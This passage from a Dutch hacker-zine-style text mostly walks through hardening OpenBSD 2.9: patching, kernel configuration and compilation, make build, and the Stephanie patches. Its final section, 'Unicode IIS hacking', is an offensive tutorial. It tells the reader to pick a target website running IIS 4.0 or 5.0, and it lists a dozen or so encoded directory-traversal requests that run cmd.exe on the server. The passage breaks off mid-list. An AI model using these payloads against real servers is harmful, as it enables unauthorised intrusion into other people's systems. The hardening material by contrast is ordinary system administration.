ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9.tar.gz en pakt die uit in een dir. # tar zxvf 2.9.tar.gz # vi /etc/rc.securelevel verander deze regel: securelevel=3 naar securelevel=-1 -1 tijdelijk. Terug zetten via: # sysctl -w kernel.securelevel=-1 Wil niet wegens security redenen. Nadat je de sources binnen hebt gehaald en de laatste patches tarbal van 2.9 reboot je de machine weer: # shutdown -r now UTP\BNC kabel er weer uit trekken\draaien. Systeem komt weer op. Nu eerst een: # chflags noschg /bsd We willen geen week wachten voor dat eindelijk de /var/db/locate.database wordt ge-updated via cron weekly, we doen het zelf wel: # sh /etc/weekly Update locate db als (l)user nobody. EN NIET ALS ROET HET VOLGENDE DOEN: # sh /usr/libexec/locate.updatedb NIET DOEN DUS! # cd 2.9/common/ Nu als eerste kijken welke binaries\libs op het systeem upgraded\patched moeten worden. !!!! OPGELET !!!! Waarschuwing, ga de gedownloade patches in 2.9.tar.gz NIET toepassen op je source in /usr/src/ jouw sources zijn al up2date gemaakt door het cvs tooltje! Nog krijgt men het voor elkaar (zelfs na herhaaldelijke waarschuwingen) om het toch te doen, met als gevolg dat ze opnieuw de sources kunnen downloaden omdat ze niet weten wat ze hebben verkracht in de source. We willen alleen weten hoe en wat precies te doen met de binaries\libs die upgraded\patched moeten worden in jouw machine, de daadwerkelijke patch gedeelte van de patches in 2.9.tar.gz hoeven we ons niet mee bezig te houden, alleen de kop met "Apply by doing:" om zo instructies te verwerven hoe onze binaries\libs te upgraden\patchen. Als het goed is ben je nu in de 2.9/common/ dir. # pwd ~/obsd/patches/2.9/common/ Als je maar in ***/***/2.9/common/ zit is het goed. # grep -A 8 "rebuild" * |less Naast een zooi junk zie je ook de instructies. In geval van de sendmail patch zie je staan: ++++++++++++++++++++++++++++++++++++++++++ cd gnu/usr.sbin/sendmail make obj make depend make make install kill -HUP `sed 1q /var/run/sendmail.pid` ++++++++++++++++++++++++++++++++++++++++++ Daar staan onze instructies, derest kan je als junk beschouwen, de instructies beginnen met: "cd gnu/usr.sbin/sendmail" daar bedoelen ze mee, cd naar /usr/src/gnu/usr.sbin/sendmail, ze gaan ervan uit dat je al geparkeerd in /usr/src/ staat, immers je bent met je sources bezig. Hoe deze instructies toepassen: # cd gnu/usr.sbin/sendmail # make obj;make depend;make;make install # kill -HUP `sed 1q /var/run/sendmail.pid` De laatste opdracht kill -HUP `sed 1q /var/run/sendmail.pid` is om sendmail opnieuw te laten starten met de schone binaries\libs en om zijn configuratie bestanden opnieuw intelaten lezen. Ga er niet van uit "by default" dat dit de manier van patchen\upgraden is van alle binaries\libs van OpenBSD, maar kijk via grep -A 8 "rebuild" * |less de instructies hoe jouw binaries\libs te patchen\upgraden, mocht je d.m.v grep -A 8 "rebuild" * |less niet alle patch instructies goed op je scherm krijgen, bekijk ze dan per stuk via less 001*;less 002* etc, etc... Nog even een verduidelijking van 002_fts.patch: Lees de volgorde van de instructies eerst door, de juiste volgorde wordt dan: # cd /usr/src/lib/libc # make obj;make depend;make;make install Nadat je Libc upgraded hebt: # cd /usr/src/bin/chmod # make obj;make depend;make;make install # cd ../cp # make obj;make depend;make;make install # cd ../ls # make obj;make depend;make;make install # cd ../pax # make obj;make depend;make;make install # cd ../rm # make obj;make depend;make;make install # cd ../../usr.bin/cmp # make obj;make depend;make;make install # cd ../../sbin/dump # make obj;make depend;make;make install Derest in 002_fts.patch als junk beschouwen en negeren. Zo ga je alle patches af, bij sommige hoef je niks te doen dan alleen je kernel op nieuw te compilen, je hebt de patch branch sources al up2date als het goed is, dan ga je terug naar de dir waar je die 2.9.tar.gz hebt in uitgepakt. # cd ../i386/ en gaat die ook bij af, de andere dirs in ~/2.9/*** zijn voor andere systemen dan Intel (i386) based systemen, mocht je 1 van die systemen hebben, verander dan de 3 regels hier boven in: # cd ../< `jouw systeem type' `sparc? =)' >/ De patches in 2.9.tar.gz zijn eigenlijk voor de cdrom versie van OpenBSD 2.9, die cdroms hebben speciale cdrom sources erbij in zitten waar deze patches in 2.9.tar.gz eigenlijk voor bedoeld waren, mocht je de cdroms hebben vergeet dan de sources die er dan bij zitten, en download de stable sources (patch branch) dan. Nu pas, pas nadat je alle patches hebt door gelezen en doorgevoerd ga je met je kernel aan de slag. Voor dat we de Stephanie patches gaan invoeren in onze source willen we eerst kijken of onze source 100% werkt, dat er geen fouten in de source kan zitten waardoor de kernel straks niet wil gaan compilen of deels maar, of dat de make world mischien halverwege faalt etc. Omdat te voorkomen gaan we nu met de kernel aan de slag en bouwen een proef kernel. # cd /usr/src/sys/arch/i386/conf/ Er staan meerdere kernel voorbeeld config's in deze dir: DISKLESS ELBERETH GANDALF GENERIC GENERIC_APPLI HERMES LUCIFIER SOLO etc, Lees ze allemaal eerst even op je gemak door, kennis van je eigen hardware komt nu erg goed van pas. tik delen van de voorbeeld kernels in je eigen proef kernel over. We beginen met: # cp GENERIC TESTKERNEL TESTKERNEL mag iedere naam zijn die je maar wilt. De reden waarom we voor de GENERIC kernel gaan is simpel, als je skilled genoeg bent dan gebruik je GENERIC niet als basis, dan hack je zelf een eigen kernel gebaseerd op je eigen ideeen in elkaar, aan de andere kant, als je een complete nono bent kwa de OpenBSD kernel dan ga je fouten maken, en vergeet je gauw belangrijke zaken die in een elke OpenBSD kernel moeten zitten om de kernel te laten werken. Crackers die alsnog binnen weten te komen en de GENERIC kernel willen gaan exploiten komen straks alsnog bedrogen uit omdat we de Stephanie patches straks gaan toepassen. Ga eerst een poosje met GENERIC mee in de basis van je KERNEL config file, en pas als jezelf zover bent dat je weet wat erin moet en wat je eruit kan laten dan pas kan je GENERIC achterwege laten. Crackers zullen uit eindelijk manieren vinden om de Stephanie patches te omzeilen, tot die tijd ben je redelijk secure in de basis van je OpenBSD based systeem. In je test kernel config file "TESTKERNEL" Of andere relaxde naam die je er aan hebt gegeven. staat op regel nummer 8: include "../../../conf/GENERIC" Dit willen we natuurlijk nader bekijken: # vi ../../../conf/GENERIC Vele devices\options zouw je toch niks aan hebben, dus we gaan wat uit de GENERIC kernel in ../../../conf/GENERIC weg commenten, dus niet deleten! Houw deze console met vi ../../../conf/GENERIC even open. Open nu nog een console, we moeten nu even met die twee config files tegelijk aan de slag, laat die andere met vi in de console even met rust en switch hier even heen met de nieuwe console die je zojuist hebt geopend: # cd /usr/src/sys/arch/i386/conf # vi TESTKERNEL # De eerste 5 regels moet je veranderen in bijvoorbeeld: # # TESTKERNEL -- Securing OpenBSD 2.9 TESTKERNEL # # $OpenBSD: TESTKERNEL,v 1.0 2001/07/27 02:25:02 pentag0n Exp $ # machine i386 # NIET AANKOMEN, behalve als je wat anders hebt dan een i386 include "../../../conf/GENERIC" # NIET AANKOMEN option I686_CPU # verander dit in degene die je hebt, de overige weg commenten met een "#" /* Vanaf dit punt ben je even op je eigen brainpower aangewezen, ieder systeem is weer anders wat betreft hardware, 1 goeie tip: als je iets niet begrijpt, doe er dan niks mee, laat het staan, zo als het staat, dingen die je wel denkt te snappen en waarvan je zeker bent wat het doet, daar kan je ingrijpen, verwijder de eerste paar keren dat je een OpenBSD kernel compiled niks uit je kernel config file, maar zet er een "#" voor. OpenBSD wouw je mischien gaan gebruiker als server of als router, bekijk en config je kernel config file dan ook vanuit die hoek, en niet vanuit een workstation hoek. Als je geen USB of SCSI hebt\of wil gaan gebruiken, verwijderd dat dan compleet. Wees nogmaals wel voorzichtig, bij twijfel zet er een "#" voor. Alles kwa hardware van jouw systeem staat in deze file, deze config file ook gebruiken om eigen stuff in te adden, maak hier een gewoonte van ipv dat je die andere GENERIC config file op je andere console stuff in zit/gaat adden. DEZE COMMENT IN ZIJN ALGEHEEL VERWIJDEREN, mocht het perongeluk in je kernel config file terecht zijn gekomen. */ # Alle COMPAT options weg commenten in deze file. #option COMPAT_SVR4 # binary compatibility with SVR4 #option COMPAT_IBCS2 # binary compatibility with SCO and ISC #option COMPAT_LINUX # binary compatibility with Linux #option COMPAT_FREEBSD # binary compatibility with FreeBSD #option COMPAT_BSDOS # binary compatibility with BSD/OS # Reden: als we willen spelen installeren we ook X, we skippen dan deze # guide en gaan dan een workstation bouwen van OpenBSD 2.9 option DUMMY_NOPS # speed hack; recommended # Doen. # Om die saaie blauwe kleur tijdens kernel messages (bootup/startup) # een andere kleur te geven, kan je veranderen door dit te adden in je kernel # config file: option WS_KERNEL_FG=WSCOL_GREEN option WS_KERNEL_BG=WSCOL_RED option WS_KERNEL_COLATTR=WSATTR_WSCOLORS # We willen als de ipfilter rules nog niet geladen of is geswitched # het volgende: option IPFILTER_DEFAULT_BLOCK # De andere 2 IPFILTER options staan al in ../../GENERIC # Heeft het systeem echt lpt ports nodig? of com ports? of een ps/2 port? # USB?? laat het dan ook uit je kernel, disable het in ook de bios. # sloop het desnoods uit je box. Een cdrom drive? # fysieke security verschilt per locatie, sta er wel even bij stil. # als je klaar bent met deze file (TESTKERNEL) write en quit Switch nu terug naar die andere console met vi ../../../GENERIC In deze GENERIC config file is het raadzaam om dingen ipv te deleten weg te commenten met een "#" om ook niet later in de war te raken met de default weg ge-commentende opties, maak er "#33" van bijvoorbeeld. mocht er nu iets verkeerd gaan open je /usr/src/sys/conf/GENERIC en kan je zo je eigen comments\fouten weer terug halen. Doe eens weer in die andere console: # ifconfig -a Dat gaat nu we aanpakken. switch weer terug naar andere console Heb je een ipv4 of een ipv6 ip adres? als je alleen ipv4 hebt dan kan je alles van ipv6 weg commenten: #33 option INET6 #33 option PULLDOWN_TEST #33 pseudo-device gif #33 pseudo-device gre Ga je gebruik maken van IPSEC ja/nee, if nee: #33 pseudo-device enc Ik neem aan dat je PPP niet gaat gebruiken, anders had je de patch branch sources nu ook niet binnen gekregen dus dat kan er allemaal uit van PPP: #33 option PPP_BSDCOMP #33 option PPP_DEFLATE #33 pseudo-device ppp 2 #33 pseudo-device sppp Moet het uiteindelijk een NFS server worden of client? if not, weg commenten: #33 option NFSCLIENT #33 option NFSERVER Overige wat er uit moet\kan, lees man tun of man vlan bijvoorbeeld bij onzekerheid als je het toch nodig moet hebben. 9 v/d 10 cases zouw je het toch niet nodig hebben: #33 pseudo-device sl 2 #33 pseudo-device tun 2 #33 pseudo-device vlan 2 #33 option MSDOSFS # kiddo time is over. Mocht je ooit support nodig hebben voor 1 v/d dingen die je hebt weg gecomment met " #33 " -un-comment wat je dan nodig moet hebben en bak je kernel dan opnieuw, door dingen die je zojuist hebt weg gecomment is jouw systeem al een stuk securer geworden na kernel compile. Aantal tips nog voor de dingen in deze config file: -Un-comment voor een router \ bastion host: option GATEWAY option TCP_SACK option TCP_FACK option GATEWAY enabled ipforwarding voor je zodat je het niet meer via /etc/sysctl.conf of via: sysctl -w net.inet.ip.forwarding=1 hoeft te enablen en verhoogt direkt NMBCLUSTERS naar 512 ipv de standaard 256, als je wel eens kernel mbuf maps meldings\messages hebt gehad "/bsd: ``mb_map full'' x 100 in je console en logs dan wil je dit zeker hebben, voor een gateway\bridge bij een provider is 1028 mischien wel niet eens zo gek om via: option NMBCLUSTERS=1028 # te definen in je kernel config file. Voor de meeste home/site situaties is "512" ruim voldoende. option TCP_SACK en option TCP_FACK in short: zorgen voor een perfecte data stroom tussen jouw en de hosten waar je mee connect op het net, mits de andere host ook SACK ondersteund. Zijn er genoeg. # --- NAT /etc/ipnat.rules (man ipnat) # Bastion host plaatje kan je mischien beter op splitsen in 2 pc's, 1 voor # routing en de andere als web server intern in een speciale netwerk d.m.v NAT # te gebruiken op de router via "rdr" in (/etc/ipnat.rules) te gebruiken: # rdr ed1 123.123.123.55/32 port = 80 -> 192.168.0.80 port 80 # Waar "ed1" de interface is verbonden met het net en "123.123.123.55" de # ip adres die je van je provider hebt gekregen. Zorg dan wel dat je "rdr" # rule regel als eerste boven aanstaat in je /etc/ipnat.rules voor je andere # rules. IPFILTER (/etc/ipf.rules) dan ook niet vergeten uptedaten. # --- NAT /etc/ipnat.rules (man ipnat) Wil je OpenBSD's coole BRIDGE mode testdriven: pseudo-device bridge 2 # 2 voor 2 nic's, 3 voor 3 nic's etc... dan uncommenten, lees man bridge voor alle details. Let er nu op dat je 1 loopback defined: pseudo-device loop 1 Voor elke "option" in je kernel config: man options Als je klaar bent met deze GENERIC config file ../../../conf/GENERIC (is /usr/src/sys/conf/GENERIC) write en quit. Mischien dat je nu ook in ziet dat het beter is om je eigen kernel config files te schrijven i.p.v dan dat je nu 2 config files hebt ge-edit en dan 1 config file te maken met alleen stuff er in die jij wilt/nodig hebt. # cd /usr/src/sys/arch/i386/conf # /usr/sbin/config TESTKERNEL Als kernel config tooltje je nu een error geeft is er geen reden tot paniek, kijk wat de config output je zegt en fix het dan direct in je kernel config file(s) (GENERIC en TESTKERNEL) Als je klaar bent met fixen dan weer: # /usr/sbin/config TESTKERNEL Don't forget to run "make depend" Je kernel is nu klaar om gebakken te worden: # cd ../compile/TESTKERNEL/ # make clean;make depend;make clean;make Houw je console in de gaten voor errors. OpenBSD laat je uiteindelijk weten of er iets verkeerd is gegaan of dat het goed gegaan is, in geval van verkeerd gegaan kijk of je het kan herleiden, if not: http://www.openbsd.org/faq/ Is alles goed gegaan dan zie je de laatste 2 regels met: text data bss dec hex Dan is het goed gegaan. # cp /bsd /bsd.old of # cp /bsd /bsd.GENERIC # cp -f bsd /bsd # shutdown -r now Beide manieren: bsd.old en bsd.GENERIC zijn wazig, copy het naar bijvoorbeeld: # cp /bsd /bsd.6464 Zet er een nummer achter die jezelf kan onthouden. Niet te enthousiast de UTP\BNC kabel er weer inzetten\draaien, nog even wachten daar mee. Systeem boot nu met jouw kernel die je zojuist hebt gemaakt, kijk of je errors\veranderingen ziet. Moet er na reboot nog het een en ander getweaked worden in je kernel config file doe dat dan direkt, en compile je kernel dan opnieuw. # /usr/sbin/config TESTKERNEL # cd ../compile/TESTKERNEL # make clean;make depend;make clean;make # cp -f bsd /bsd;shutdown -r now Als je denkt dat alles is goed gegaan, loop het hele kernel proces voor jezelf nog eens na, vanaf het moment van kernel configen tot compilen. Je kernel bakte zonder problemen? Beter, we pakken de sources tarbal erbij die je eerder hebt gemaakt. source_patch_branch_2.9.tar Deze tarbal ga je verplaatsen naar een andere machine en NIET bewaren op de zelfde machine waar je die tarbal op hebt gemaakt, waar het dan uit eindelijk op cd-r of ander medium moet belanden, zodat je incase of shit, je niet de complete source hoeft te downloaden maar dan alleen een: # export CVS_RSH="/usr/bin/ssh" # export CVSROOT=anoncvs@anoncvs.nl.openbsd.org:/cvs # cd /usr/src # cvs -q up -rOPENBSD_2_9 -Pd Hoeft te doen. Voordeel van dit is dat je niet nog een keer de stable sources hoeft te downloaden, heb je meerdere OpenBSD machines in beheer dan is dit wel zo ideaal. Je systeem begint al aardig secure te worden zo, dit alleen is al vrij secure als je het zo laat, lijkt me dom, maar dat is dan je eigen keuze, veel plezier dan, maar houw dan wel in het achter hoofd: "Bijna secure, is `niet` secure." Voor degene die meer willen dan een beetje patchen en kernel bakken, lees verder. Nu heb je (als het goed is) de sources up2date in /usr/src liggen, hou ze daar nog even. Met de sources die je op je hd hebt staan kan je meer mee doen dan alleen de belangrijkste dingen uit te patchen en een kernel bakken. Zouw het niet cool wezen om je OpenBSD 2.9 systeem compleet from scratch te compilen met de nieuwste sources? Welkom in de wereld die heet: BSD UNIX Ik denk dat ik eerst maar het een en ander moet gaan verduidelijken omtrent het patch\upgrade gebeuren van OpenBSD UNIX De patches die je vindt op http://www.openbsd.org/errata.html wel, dat zijn ze niet allemaal, daar staan alleen de belangrijkste patches voor het geen wat het meest gebruikt wordt van OpenBSD UNIX, plus wat eventueel een security hazard kan worden of al is, voor al het overige heeft men gewoon weg geen tijd\man kracht voor om voor elke kleine bugje een advisory voor te schrijven, die tijd gebruiken ze liever b.v om hun volgende release (3.0) te gaan verbeteren etc.. I.p.v dat ze een advisory gaan schrijven voor het overige, gaan ze de gevonden bug direkt patchen\upgraden en in voegen in de Patch (stable) branch sources, die je dan via cvs update kan ophalen 1 a2x in de week om zo je systeem optimaal secure te houden. Volgende probleem: " Hoe de neuk kan ik nu ruiken hoe en wat er eventueel buggy is in mijn systeem ??? " Als je cvs update runt kijk wat er Updated wordt, cvs update is binnen (meestal) 5 minuten klaar met updaten van je sources (als er wat viel uptedaten) Volgende probleem: "Geen advisory :( geen instructies hoe iets opnieuw te pillen en te installen :( ik ben newbie zeg maar." Dan compile je toch compleet OpenBSD from scratch met de laatste sources 1x in de week. ====== MAKE WORLD ===== Make build is de OpenBSD variant van make world zoals je bij FreeBSD hebt. De stable sources in /usr/src is in wezen de laatste uitgave van OpenBSD 2.9 inclusief alle patches en verbeteringen tot het moment van je laatste cvs update. Dit is wreed, zeker vanuit het oog punt van security, maar het heeft ook een keer zijde, als je van plan bent een make build (aka make world) te gaan doen, denk even na wat je dan doet, je compiled OpenBSD dan "compleet" from scratch en installed dan alles wat er standaard bij OpenBSD in zit. X, GAMES etc.. alle shit die je echt niet wil hebben op een server\firewall. Alle default setuid files komen weer terug, alle config files worden vernieuwd in /etc met als gevolg als je vergeet die te back uppen dat je fucked bent als je niet een backup daar van hebt gemaakt, passwd\master.passwd wordt vernieuwd etc.. met als gevolg een schoon systeem na make world, als er eventuele backdoors\trojans in je systeem zitten dan worden die ook in 1x weg gevaagd, dat is allemaal erg mooi, maar niet voor je config files in /etc en overige stuff van jezelf, BACKUP! dus voor dat je het gaat doen. Na make world log je in een passwd loos roet account plus alle services die draaien na een default install (inetd\portmap\sendmeel) zijn ook weer terug naar default OpenBSD settings, dus op dat moment moet die doos niet live aan het net hangen, of voor die tijd als je alles remote gaat doen dump alle nieuwe distribution files in /home/newroet en copy peest\diff vergelijk alle nieuwe files in newroet dir met de huidige in "/" en check op veranderingen en voer ze met de hand door, als je console access hebt en de doos heeft nog geen functie (bijvoorbeeld na eerste install) dan kan je gewoon blunt uit export DESTDIR=/ doen, enigste waar je dan wel op moet letten is dat je A) je eerdere gemaakte config files backuped en B) Dat de UPT\BNC kabel er dan NIET in zit :-) alleen ifconfig nic down geen genoegen mee nemen. Niet na het make world proces al jouw vorige config files terug dumpen op z'n plek, het kan nmlk wezen dat OpenBSD besloten heeft om wat te veranderen in de nieuwe config files, een andere style van configen etc... kijk en vergelijk. Na make world alle GAMES en X gerelateerde shit verwijderen. Het make world proces. De volgorde v/h make world proces hier onder beschreven is de manier die ik toepas op mijn systemen, met deze volgorde verloopt het make build proces gladjes, zonder dat de make build ergens halverwege er mee kapt. Het make build proces duurt op een PIII 600 met 256MB ram ongeveer ander half uur, op een AMD-K6-2 500 met 192MB ram ongeveer 3 uur. Mensen maken fouten, OpenBSD maintainers die dingen mogen toevoegen\veranderen in de stable source maken ook fouten, waardoor mischien de make build er mee kapt na 1 uur compilen\installen, dit 'kan' gebeuren, de mensen achter OpenBSD doen er alles aan om dit te voorkomen, dus voor dat er iets Live in de stable sources wordt veranderd\toegevoegd test men het eerst alvorens het te releasen naar de cvs servers. Eerste stap: # cd /usr/src # find . -type l -name obj | xargs rm # make cleandir # rm -rf /usr/obj # mkdir /usr/obj # make obj # cd /usr/src/etc && make DESTDIR=/ distrib-dirs Je had al een kernel gebakken van deze source, if not: # cd /usr/src/sys/arch/i386/conf # config TESTKERNEL # cd ../compile/TESTKERNEL # make clean;make depend;make clean;make # cp /bsd /bsd.old && cp -f bsd /bsd # shutdown -r now # cd /usr/src # make build Houston we have "LIFT OFF!" Dit gaat heel lang duren op een PI 233mhz, halve dag is niks, laat maar compilen\installen die doos, ga wat anders doen. Na een paar uur is het make build proces klaar, je ziet het vanzelf, als de make build eindigt met een error dan is het niet goed gegaan, dan kan je: # make -n build dan doen en kijken wat ie' precies doet, vindt je de error en kan je het fixen doe het dan direkt en doe dan weer een: # make build Lukt het nu niet weer, cvs update je sources weer om de fouten te verwijderen, en probeer dan weer. Lukt het daarna nog niet (jeez, crapy hardware??) check: http://www.openbsd.org/ voor meer info. Wanneer de make build zonder problemen gegaan is, dan zie je dat d.m.v dat hij niet gestopt is met een error. sad, but true, lekker duidelijk van OpenBSD. Nu krijgen we dat verhaal waar ik het eerder over had, is dit een live systeem die al aan het net hangt of is dit direkt na eerste install? Voor een Live systeem die aan het net hangt: # mkdir /home/newroet ; export DESTDIR=/home/newroet Voor als je console access hebt direkt na eerste instal: # export DESTDIR=/ Dan (nadat je de voor juiste DESTDIR hebt gekozen\gedaan hier boven) # cd /usr/src/etc && make distribution-etc-root-var # shutdown -r now Na reboot je systeem opnieuw weer configen etc.. Naast de sources securen willen we ook wel wat schone binaries achter de hand houden inc de in /etc gelegen config files: # cd /usr # tar cvf bin-obsd-2.9.tar /bin/* # tar cvf sbin-obsd-2.9.tar /sbin/* # tar cvf usr-bin-obsd-2.9.tar /usr/bin/* # tar cvf usr-sbin-obsd-2.9.tar /usr/sbin/* # tar cvf usr-libexec-obsd-2.9.tar /usr/libexec/* # tar cvf etc-obsd-2.9.tar /etc # tar cvf kernels-obsd-2.9.tar /bsd /bsd.GENERIC /bsd.old # mkdir /usr/blaat # mv *.tar /usr/blaat/ # tar cvf openbsd-2.9.backup.tar blaat/*.tar # rm -fr blaat Nadat de sources en backup tar's van het systeem zijn gehaald rm je de tar's die achter blijven op het systeem. Dat viel wel mee toch? Het is wat anders dan je default kerneltje bakken, mocht je dit "make world" nu kick ass vinden en je bent eigenlijk wel uitgekakt op je huidige *NIX distro en je wilt meer hier mee spelen, mischien zelfs als workstation? zie http://www.freebsd.org BSD UNIX op z'n best. OpenBSD is behoorlijk kaal voor als workstation, vandaar de link richting FreeBSD, OpenBSD moet je nogmaals gebruiken voor waar het goed voor is. De Stephanie patches. Jullie zullen mischien al bekend zijn met de patches van openwall voor Linux. Onder OpenBSD hebben we de Stephanie patches, dit "wil" je gewoon hebben als je echt op security staat. De Stephanie patches zijn eigenlijk bedoeld voor een shell doos bijvoorbeeld met meerdere bad magic users, maar wie houdt je tegen om ze te gaan toepassen op bijvoorbeeld een web\dns\mail\ftp\bridge\firewall systeem? NOTE: Na het invoegen van de Stephanie patches gaat een "make build" niet meer lukken met de sources, doe VOOR dat je de patches gaat toepassen een: # tar cvf stable-bak.tar /usr/src Zodat je het altijd weer ongedaan kan maken. Ook voor dat je er mee aan de slag gaat, eerst een nieuwe kernel en een make world doen VOOR dat je dit gaat doen, dit heb je net (of eerder) al gedaan als het goed is. LEES eerst de online docs at: http://www.packetfactory.net/Projects/Stephanie/ Download de Stephanie patches en pas ze toe: # lynx -dump http://www.packetfactory.net/Projects/Stephanie/stephanie-0.tar.gz > stephanie-0.1.tar.gz # tar zxvf stephanie-0.1.tar.gz # cd stephanie-01/ # cp stephanie-29-0.1.patch /usr/src/ # cd /usr/src/ # patch -p0 < stephanie-29-0.1.patch # cp ~/stephanie-01/kern/kern_tpe.c /usr/src/sys/kern # cp ~/stephanie-01/kern/kern_tpe_sys.c /usr/src/sys/kern # cp ~/stephanie-01/sys/kern_tpe.h /usr/src/sys/sys # cd /usr/src/sys/kern/ # make # cp /usr/src/sys/sys/syscall.h /usr/include/sys/ # cp /usr/src/sys/sys/syscallargs.h /usr/include/sys/ # cp /usr/src/sys/sys/sysctl.h /usr/include/sys/ # cp /usr/src/sys/sys/kern_tpe.h /usr/include/sys/ # cp /usr/src/sys/sys/proc.h /usr/include/sys # cd /usr/src/sys/arch/i386/conf # config TESTKERNEL # cd /usr/src/sys/arch/i386/compile/TESTKERNEL # make depend ; make clean ; make # cp /bsd /bsd.old ; cp -f bsd / # shutdown -r now Na reboot: # dmesg | grep list Trusted patch execution list initialized tpe: UID 0 added to trust list # cp ~/stephanie-01/lib/lib-29.patch /usr/src # cd /usr/src # patch -p0 < lib-29.patch # cd /usr/src/gnu/usr.bin/ld/rtld <<<<--- let op dat die WEL gepatched wordt! # make ; make install <<<<--- anders heb je hier problemen. # cd /usr/src/lib/libkvm # make ; make install # cd /usr/src/bin/ps # make ; make install # cd /usr/src/usr.bin/top # make ; make install Verder als voorbeeld van de Stephanie maker: # chflags schg /bin/sh # chflags schg /bin/csh # chflags schg /bin/ksh # chflags schg /bin/rksh # chflags schg /usr/bin/perl # chflags schg /usr/bin/awk Verder als beter voorbeeld van mij: # chflags schg /bin/* # chflags schg /sbin/* # chflags schg /usr/sbin/* # chflags schg /usr/bin/* # chflags schg /usr/libexec/* Moet er nu ooit file permissies veranderd worden in 1 van die dirs dan moet je eerst: # chflags noschg /sbin/* bijvoorbeeld doen, wat alleen gaat werken als kern.securelevel op 0 staat of op -1. ga pas met chflags spelen als alles pas na een make world of na het patchen op z'n plek staat. (man chflags/chmod/rc.securelevel) # cp ~/stephanie-01/misc/ # make ; make install Nu pas is je OpenBSD 2.9 base wat meer secure dan het is na default install, je kan het nu gaan gebruiken voor DNS\MAIL\FTP\Whatever server doeleind, houw BUGTRAQ in de gaten, doe minstens 1x per week een cvs update, doe een make world 1x in de maand op z'n minst en ga op wat mailinglists staan van OpenBSD: http://www.openbsd.org/mail.html security-announce is de list die je zowieso moet hebben. Dit alles aanvullen met een NIDS en IDS naar keuze om zo je systeem meer secure te maken. Verdiep je in IPSec: http://www.openbsd.org/faq/faq13.html IPSec kan je gebruiken van: Host to Host Host to Network Network to Network Genoeg. " In one's life. there are levels in the pursuit of study. In the lowest level, a person studies but nothing comes of it, and he feels that both he and others are unskillful. At this point he is worthless. In the middle level he is still useless but is aware of his own insufficiencies and can also see the insufficiencies of others. In a higher level he has pride concerning his own ability, rejoices in praise from others, and laments the lack of ability in his fellows. This man has worth. In the highest level a man has the look of knowing nothing. These are the levels in general;. But there is one transcending level, and this is the most excellent of all. This person is aware of the endlessness of entering deeply into a certain Way arid never thinks of himself as having finished. He truly knows his own insufficiencies and never in his whole life thinks that he has succeeded. He has no thoughts of pride but with self-abasement knows the Way to the end. It is said that Master Yagyu once remarked, "I do not know the way to defeat others, but the way to defeat myself. '' Throughout your life advance daily, becoming more skillful than yesterday, more skillful than today. This is never-ending. " -- Hagakure. pentag0n,. ------------------------------------------------------- 14. Unicode IIS hacking ------------------------------------------------------- Hieronder een step-by-step omschrijving hoe de meest recentelijke Unicode-hack toe te passen is. De omschrijving van deze hack is puur theoretisch en niet gebasseerd op een waar gebeurd verhaal, enige vergelijking met een inbraak op enig systeem is puur toevallig. De informatie in dit stuk is openlijk verkrijgbaar op het internet dus de schrijver accepteerd geen enkele verantwoording voor daden die lezers van dit stuk aanrichten maar is altijd in voor een sappig verhaal of lofuitingen. Deze kunnen dan ook worden gemailed naar jbdbiwdijkz@ictbeveiliging.nl (jbdbiwdijkz = Jij bent de beste, ik wou dat ik jou kon zijn). Flames kunnen worden gemailed naar ivmbdesmhgek@ictbeveiliging.nl (ivmbdesmhgek = Ik voel me beter dan een scriptkiddie maar heb geen enkele kennis). Spellingsfouten zijn volledig te verwijten aan de fouten in de programmatuur hehehehe. Whoohoe… tot zover de huishoudelijke mededelingen. Nou nog een kleine dan, ik vind dat er nóg een laag in de hiërarchische structuur van "Hackerland" mag komen. Ik bedoel iemand die redelijke tot goede kennis heeft op het gebied van automatisering maar niet zo diep kan gaan als de mensen die de exploits vinden en daar scripts voor schrijven kun je toch geen "Kiddies" meer noemen, zelfs niet als ze de scripts gebruiken die worden gepost op diverse sites?? Of wou je deze mensen nog steeds classifiseren als vandalistische pubers?? Hmm nou, nou? Bovendien denk ik dat er maar heel weinig mensen zijn die het zogenaamde niveau "Scriptkiddie" ontstijgen. Reacties naar bovenstaande adressen svp. Genoeg geluld,……… De hack die we gaan omschrijven is toepasbaar op de Internet Information Server/Services van Microsoft, versie IIS4.0 en 5.0. Deze hack maakt gebruik van fouten in de webserver-software. Voor deze fouten zijn patches beschikbaar, lees er alles over in het Microsoft Security Bulletin ms00-078. Stap 1, Zoek een site, bedrijf, organisatie, vereniging, enz.. uit die een site heb op het Internet. Controleer of deze site wordt gehost op een IIS 4.0 of 5.0 webserver. Voor de echte newbies, op de site van Securityspace (www.securityspace.com) is een Webprobe waarin je een URL intoets en deze voor je controleerdt of download Grinder op www.ictbeveiliging.nl/tools om hele subnetten te scannen, voor de 1337, doe een telnet naar poort 80 en grab de banner. Stap 2, Je heb nu een mogenlijk doelwit voor ogen, je handen beginnen te zweten en je begint met geknepen ogen naar je beeldscherm te kijken. Nu wil je controleren of de webserver van je doelwit nog niet gepatched is. Voor de newbie, vul in in je browser: http://www.doelwit.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ Voor de 1337, telnet naar 80 en : GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET /scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\r\n\r\n GET 